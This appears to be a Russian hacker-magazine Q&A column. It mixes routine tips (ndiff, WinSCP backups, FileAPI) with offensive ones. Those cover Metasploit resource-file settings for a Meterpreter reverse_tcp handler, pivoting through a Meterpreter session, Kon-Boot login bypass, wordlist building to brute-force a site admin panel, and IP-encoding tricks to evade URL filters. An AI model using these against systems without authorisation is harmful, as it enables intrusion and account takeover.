Содержание статьи
- Q: Подскажи, как можно автоматизировать такую рутинную работу как установка LHOST, LPORT, PAYLOAD и других параметров в Metasploit Framework, чтобы не приходилось каждый раз заново вводить их руками.
- Q: С помощью Metasploit получил доступ к удаленной машине. Подскажи, можно ли както затуннелировать трафик через Metasploit сессию?
- Q: Как можно отслеживать все изменения в сети: появление новых устройств, изменения в конфигурации хостов (появление новых открытых/закрытых портов)?
- Q: Как можно обойти защиту паролем на вход в операционную систему?
- Q: Подбираю пароль к админке сайта. Использовал уже все возможные словари, и пока никак. Похоже, словарик придется составлять самому — как это автоматизировать?
- Q: Как посмотреть в Linux список недавно модифицированных файлов?
- Q: Как из-под Linux удаленно выключить виндовую машину?
- Q: Можно ли как-то обмануть URL-фильтры?
- Q: Как реализовать обмен трафиком между машинами, находящимися за разными NATсерверами?
- Q: Как разобраться, почему только что установленная семерка свалилась в BSOD?
- Q: Будущая версия Visual Studio будет поддерживать странный язык C++0x. Как вы к нему относитесь?
- Q: Пользователям мобильных платформ я отдаю специально переработанную веб-страницу, в которой используется упрощенная верстка. Раньше определить такую категорию пользователей было легко, но теперь, с появлением все новых и новых мобильных браузеров, это становится все сложнее и сложнее. Есть ли готовое решение, чтобы не тратить время на проверки вручную, заново изобретая велосипед?
- Q: В Gmail'е наконец-то появилась возможность Drag'n'Drop'ом приаттачивать к письму файлы. Как они сделали это в веб-приложении? Нигде подобного больше не видел.
- Q: Один из хакерских плагинов для Firefox обновляется очень редко, а новые версии браузера отказываются его подключать, ссылаясь на отсутствие совместимости. Как бы вырубить эту проверку?
- Q: Задача: периодически делать бэкап нескольких тысяч файлов с никсового сервера. Когда попробовал скачать все по FTP, стало ясно, что я скорее состарюсь — процесс идет очень медленно. Догадался предварительно подключаться по SSH и упаковывать файлы в один архив, но как бы это автоматизировать?
Q: Подскажи, как можно автоматизировать такую рутинную работу как установка LHOST, LPORT, PAYLOAD и других параметров в Metasploit Framework, чтобы не приходилось каждый раз заново вводить их руками.
A: Действительно, каждый раз вручную задавать одни и те же параметры не совсем удобно. К счастью, в Metasploit Framework есть возможность для автоматизации — это файлы ресурсов. На самом деле файлы ресурсов представляют собой обычные скрипты, в которых прописывается все необходимое. С недавнего времени в файлы ресурсов можно вставлять целые блоки кода на Ruby.
Если создать скрипт с именем msfconsole.rc и положить его в директорию ~/.msf3/msfconsole.rc, то он будет автоматически загружаться каждый раз при запуске msfconsole. Это идеальный способ автоматической установки основных параметров (exploit, PAYLOAD, LPORT, LHOST и т.д.). Для того, чтобы понять, как создать файл ресурсов, советую тебе разобрать демонстрационный пример — documentation/msfconsole_rc_ruby_example.rc
Если запустить его с помощью команды $ ./ msfconsole -r documentation/msfconsole_rc_ruby_example.rc
, то он автоматически установит все параметры и запустит эксплойт.
resource (documentation/
msfconsole_rc_ruby_example.rc)>
use exploit/multi/handler
resource (documentation/
msfconsole_rc_ruby_example.rc)>
set PAYLOAD windows/meterpreter/
reverse_tcp
resource (documentation/
msfconsole_rc_ruby_example.rc)>
set LPORT 4444
resource (documentation/
msfconsole_rc_ruby_example.rc)>
set LHOST 192.168.0.228
resource (documentation/
msfconsole_rc_ruby_example.rc)>
set ExitOnSession false
resource (documentation/
msfconsole_rc_ruby_example.rc)>
exploit -j
Кстати, разработчик Metasploit HD Moore пообещал в скором времени показать миру Metasploit Express — графическую оболочку для управления метасплойтом. Жаль только, что продукт будет платным.
Q: С помощью Metasploit получил доступ к удаленной машине. Подскажи, можно ли както затуннелировать трафик через Metasploit сессию?
A: Да, в Metasploit есть такая возможность. Представим, что мы получили доступ с машины 10.1.1.1 на 10.1.1.128. Выглядит это примерно так:
[*] Meterpreter session 1 opened
(10.1.1.1:4444 -> 10.1.1.128:1238)
meterpreter > run get_local_subnets
Local subnet:
10.1.1.0/255.255.255.0
meterpreter > background
msf exploit(ms08_067_netapi) >
route add 10.1.1.0 255.255.255.0 1
msf exploit(ms08_067_netapi) >
route print
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- ------10.1.1.0 255.255.255.0 Session 1
Теперь весь трафик, посылаемый в 10.1.1.0 подсеть, будет туннелироваться через Metasploit-сессию. Есть еще более простой способ — использовать плагин auto_add_ route:
msf exploit(ms08_067_netapi) > load
auto_add_route
[*] Successfully loaded plugin:
auto_add_route
msf exploit(ms08_067_netapi) >
exploit
Фишка в том, что при удачном срабатывании сплойта автоматически добавляется соответствующее параметрам сессии правило роутинга.
Q: Как можно отслеживать все изменения в сети: появление новых устройств, изменения в конфигурации хостов (появление новых открытых/закрытых портов)?
A: В этом может помочь всем известный Nmap. Если ты обращал внимание, среди списка его опций есть такая:
OUTPUT:
-oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3, and Grepable format, respectively, to the given filename.
Опция -oX <имя_файла>
(output XML) определяет, в какой XML-файл сохранять результаты сканирования. Просканировав сеть два раза и сохранив результаты в XML-файлах, можно просмотреть изменения при помощи утилиты NDiff, входящей в Nmap. Посмотрим, к примеру, что изменилось после повторного сканирования одного из хостов сети:
$ ndiff -v scanme-1.xml scanme-2.
xml
-Not shown: 95 filtered ports
+Not shown: 993 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh
25/tcp closed smtp
53/tcp open domain
+70/tcp open gopher
80/tcp open http
113/tcp closed auth
+31337/tcp open Elite
Соответственно, плюсом отмечено то, что добавилось, а минусом — то, что ушло. Таким образом, видно, что появились новые открытые порты 70 и 31337. Все то же самое можно проделать и с помощью GUI-фронтенда для Nmap — Zenmap.
Q: Как можно обойти защиту паролем на вход в операционную систему?
A: Такая задача встречается довольно часто. Существуют специальные утилиты, позволяющие сбросить пароль или просто войти в систему с любым пассом. Можно воспользоваться утилитой Kon-Boot (www.piotrbania.com/all/ kon-boot). Схема работы проста: с официального сайта загружаем образ для Floppy/CD/ USB и создаем загрузочный диск/дискету/ флешку. Загружаемся с нее и в появившемся меню выбираем первую опцию — «1st Kon-Boot». Ждем, при повторном появлении меню выбираем опцию «2nd try boot from drive C: as hd1». Если не удалось загрузить hd1 — выбираем hd2 и т.д. Если необходимо войти в Linux — логинимся как пользователь kon-usr, а для входа в Windows сойдет любое действительное имя пользователя с любым паролем (можно пустым). На данный момент с помощью этой программки можно зайти как в Windows (поддерживает все версии вплоть до семерки), так и в Linux (к сожалению, пока еще не все дистрибутивы).
Q: Подбираю пароль к админке сайта. Использовал уже все возможные словари, и пока никак. Похоже, словарик придется составлять самому — как это автоматизировать?
A: Иногда бывает полезно составить словарь для конкретного сайта, так как зачастую пользователи используют в пароле сочетания, связанные с его тематикой или даже названием. В первую очередь надо пропарсить контент сайта и собрать слова. В этом деле очень пригодится утилита CeWL (Custom Word List generator — www.digininja.org). Написанный на Ruby паук обходит весь сайт до заданной глубины (по умолчанию равной 2) и составляет список часто используемых слов. Следует обратить внимание на следующие опции:
- depth — глубина сканирования;
- min_word_length — минимальная длина слова;
- write — имя файла для сохранения результатов.
После этого полученный список слов надо скормить John The Ripper, чтобы он немного разнообразил их, добавив цифры и изменив в некоторых местах регистр (все это прописывается в правилах). Легко и эффективно составить правила поможет другая утилита — JTR Config Maker (sites.google.com/site/reusablesec2/jtrconfiggenerator).
Q: Как посмотреть в Linux список недавно модифицированных файлов?
A: Для того, чтобы посмотреть список файлов, которые недавно изменились, достаточно запомнить несколько полезных ключей для команды ls. Так, «ls –ltr» выдаст информацию об измененных файлах в текущей папке. Чтобы увидеть недавно модифицированные файлы всей файловой систем, можно использовать команду: find /etc -type f -printf "%T@ %T+ %p" | sort -n.
Q: Как из-под Linux удаленно выключить виндовую машину?
A: Удаленная Windows-машина может быть легко выключена, если у тебя стоит Samba, и есть аккаунт с достаточными правами на машине с Windows. Делается это с помощью механизма удаленного вызова процедур: net rpc shutdown -S thehostname -U theusername
, где thehostname — имя удаленного узла или его IP-адрес. Кроме того можно передать дополнительные параметры, используемые утилитой shutdown в Windows: net rpc shutdown -S thehostname -U theusername -f -t 60
(установить таймаут в 60 секунд и принудительно закрыть все приложения перед выключением).
Q: Можно ли как-то обмануть URL-фильтры?
A: Современные браузеры могут воспринимать URL не только в десятичной системе, но также в 8-ричной и 16-ричной, и даже единым 32-битным числом. Таким образом URL типа 66.102.13.19 можно представить следующими способами:
http://0x42.0x66.0x0d.0x63
http://0x42660d63
http://1113984355
http://00000102.00000146.00000015.00000143
Если кликнуть по любому из вариантов, попадешь на google.com. На самом деле эта техника не нова и известна уже давно. Но, как показывает практика, некоторые производители антивирусного ПО про нее подзабыли, и их продукты, блокирующие ссылку в нормальном виде, пропускают 8-, 16- или 32-ричный IP-адрес. Преобразовать IP из одного формата в другой поможет онлайн-сервис www.csgnetwork.com/ipaddconv.html.
Q: Как реализовать обмен трафиком между машинами, находящимися за разными NATсерверами?
A: Когда один из двух компьютеров находится за NAT, реализовать свободный обмен трафиком между ними уже затруднительно. Когда за NAT’ом оказываются сразу два участника обмена, то задача усложняется вообще в разы. К счастью, выход есть. Благодаря программе Pwnat любое количество клиентов, находящихся за одним NAT-сервером, может соединяться с хостом, стоящим за другим NAT, при этом не требуется проброска портов на серверах и использование прочих инструментов. Все это без каких-либо посредников, спуфинга, трюков с DNS и технологий UPnP/ STUN/ICE — исключительно ноу-хау разработчиков.
Общий синтаксис для запуска имеет несколько ключей: ./pwnat <-s | -c> <args>, где -s, -c соответственно означают «клиент» и «сервер». Для «клиента» надо указать следующие аргументы:
<args>: [local ip] <local
port> <proxy host> [proxy port
(def:2222)] <remote host> <remote
port>
Для сервера, помимо прочего, можно указать доверенные хосты и порты:
<args>: [local ip] [proxy
port (def:2222)] [[allowed
host]:[allowed port] ...]
Q: Как разобраться, почему только что установленная семерка свалилась в BSOD?
A: Чтобы не ковыряться в странных аббревиатурах и дампах, которые создает винда при падении, лучше поставить небольшую, но зато очень полезную утилиту WhoCrashed (www.resplendence.com/whocrashed). Вот она-то и расскажет, кто свалил систему. Али драйвер какой, али программа, али еще что-нибудь. Так или иначе, будет указано название конкретного модуля, его расположение на диске, название ошибки, описание программы с указанием разработчиков (берегитесь!). Последняя версия как раз поддерживает «семерку», причем как 32-, так и 64-битную версии.
Q: Будущая версия Visual Studio будет поддерживать странный язык C++0x. Как вы к нему относитесь?
A: Ну, это не совсем язык программирования, а скорее новый, переработанный стандарт привычного C++. Поскольку уже опубликован финальный черновик (draft-версия), можно с уверенностью сказать: проект попрет. К тому же, в новой VS2010 действительно уже реализованы многие из заявленных нововведений C++. В блоге разработчиков даже есть сводная таблица, в которой перечислены те аспекты C++0x, которые уже поддерживает новая «студия». Благодаря новому стандарту мы получим многие механизмы, которые уже давно используются в других языках.
Например, лямбда-выражения, позволяющие упросить некоторые фрагменты кода, а также Rvalue-ссылки, позволяющие различить временные и постоянные объекты, увеличив тем самым производительность приложения.
Q: Пользователям мобильных платформ я отдаю специально переработанную веб-страницу, в которой используется упрощенная верстка. Раньше определить такую категорию пользователей было легко, но теперь, с появлением все новых и новых мобильных браузеров, это становится все сложнее и сложнее. Есть ли готовое решение, чтобы не тратить время на проверки вручную, заново изобретая велосипед?
A: Проблема на самом деле не только в том, чтобы определить факт использования мобильного устройства; сложнее понять, с каким девайсом имеешь дело, и на что он способен (разрешение, используемый браузер и т.д.).
Свои наработки в этой области сделали доступными ребята из Яндекса, предоставив всем доступ к их Яндекс.Детектору (api. yandex.ru/detector/doc/dg/concepts/About.xml). Работает это следующим образом. На «http://phd.yandex.net/detect/» отправляется специальный запрос, в ответ на который приходит XML-выдача с результатами определения модели и характеристик устройства.
Дальше все зависит от тебя (можно сделать отдельные страницы для iPhone, Android или, скажем, Opera Mini). В своей работе сервис использует содержимое заголовков HTTP-запросов, передаваемых браузером мобильного устройства: profile, wap-profile, x-wap-profile, user-agent, x-operamini-phone-ua. Примеры использования на PHP/Perl доступны на официальном сайте.
Q: В Gmail'е наконец-то появилась возможность Drag'n'Drop'ом приаттачивать к письму файлы. Как они сделали это в веб-приложении? Нигде подобного больше не видел.
A: Это стало возможным за счет такой офигенной штуки HTML5 как FileAPI (www.w3.org/TR/2009/WD-FileAPI-20091117). Это расширение возожностей JS в сторону работы с файлами. Теперь можно получать не только имена файлов, но и их MIME-тип, размер, а самое главное — содержимое! Увы, как и любые технологии HTML5, они реализованы лишь в некоторых браузерах: поддерживают FileAPI лишь последние версии Firefox и Chrome.
Полный код я приводить не буду, все нюансы и исходники доступны в замечательных статьях: javascript.ru/blog/Brmaley.ee/FileAPI, www.kigorw.com/articles/dd-file.
Q: Один из хакерских плагинов для Firefox обновляется очень редко, а новые версии браузера отказываются его подключать, ссылаясь на отсутствие совместимости. Как бы вырубить эту проверку?
A: Для этого есть свойство в about:config (специальная страница с тонкими настройками браузера). Ищи "extensions. checkCompatibility" и выставляй значение "false". Если такого ключа нет, то параметр нужно создать самому.
Q: Задача: периодически делать бэкап нескольких тысяч файлов с никсового сервера. Когда попробовал скачать все по FTP, стало ясно, что я скорее состарюсь — процесс идет очень медленно. Догадался предварительно подключаться по SSH и упаковывать файлы в один архив, но как бы это автоматизировать?
A: Если сервер поддерживает подключения по SFTP, то самый простой путь — написать несложный скрипт для WinSCP (winscp.net).
Задача простая: упаковываем файлы на удаленном сервере, скачиваем архив к себе, удаляем его с сервера. Чтобы клиент каждый раз не просил данные для аутентификации, необходимо сохранить сессию со всеми необходимыми параметрами (назовем соединение AccountName). После подключения не забудь нажать Ctrl+T — должно появиться окно консоли. Если этого не происходит, значит, у тебя нет доступа к шеллу, и ничего не выйдет. Если же все ОК, можно писать наш скрипт.
option batch on
option confirm off
open AccountName
cd /home/step/
call tar -cz --exclude=*cache* -f /
home/step/tmp/FTP-backup-$(date
+%Y-%m-%d).tgz ./public_html/
cd /home/rarst/tmp/
get -delete FTP-backup* "c:\My
Dropbox\Backup\"
exit
Первые две строчки позволят скриптам выполняться автоматически без подтверждений пользователя. Команда open устанавливает соединение, которое ты предварительно создал (необходимо указать правильное имя). Далее выполняем ряд обычных никсовых команд по созданию архива с бэкапом и с помощью команды Get указываем, что файл надо скачать в локальную папку (в моем случае — Dropbox). Теперь необходимо добавить запуск WinSCP и нашего скрипта в планировщике (стандартный виндовый или, скажем, nnCron), чтобы тот с нужной периодичностью запускал WinSCP.
exe /console /script="backup.txt".
Весь код скрипта, как ты, вероятно, догадался, сохранится в файл backup.txt.